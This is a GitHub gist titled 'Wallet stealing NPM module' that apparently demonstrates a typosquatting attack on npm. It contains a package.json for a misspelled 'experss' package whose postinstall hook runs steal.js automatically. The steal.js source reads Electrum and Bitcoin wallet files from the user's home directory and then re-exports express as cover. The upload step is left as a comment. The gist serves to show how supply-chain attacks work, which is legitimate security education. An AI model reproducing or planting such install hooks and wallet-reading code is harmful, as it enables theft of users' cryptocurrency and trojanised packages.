Created
March 7, 2018 21:21
-
-
Save JonnyBurger/87f2799557086d980a6f8545ef3fab9f to your computer and use it in GitHub Desktop.
Wallet stealing NPM module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "experss", | |
"version": "1.0.0", | |
"scripts": { | |
"postinstall": "node steal.js" | |
}, | |
"dependencies": { | |
"express": "^4.16.2", | |
"os-homedir": "^1.0.2" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const path = require('path'); | |
const homedir = require('os-homedir'); | |
const walletPaths = [ | |
path.join(homedir(), '.electrum-ltc/wallets/default_wallet'), | |
path.join(homedir(), '.electrum-cash/wallets/default_wallet'), | |
'~/Library/Application\ Support/Bitcoin/wallet.dat' | |
]; | |
walletPaths.forEach(path => { | |
if (fs.existsSync(path)) { | |
const wallet = fs.readFileSync(path, 'utf8'); | |
// upload wallet to your server | |
} | |
}); | |
module.exports = require('express'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment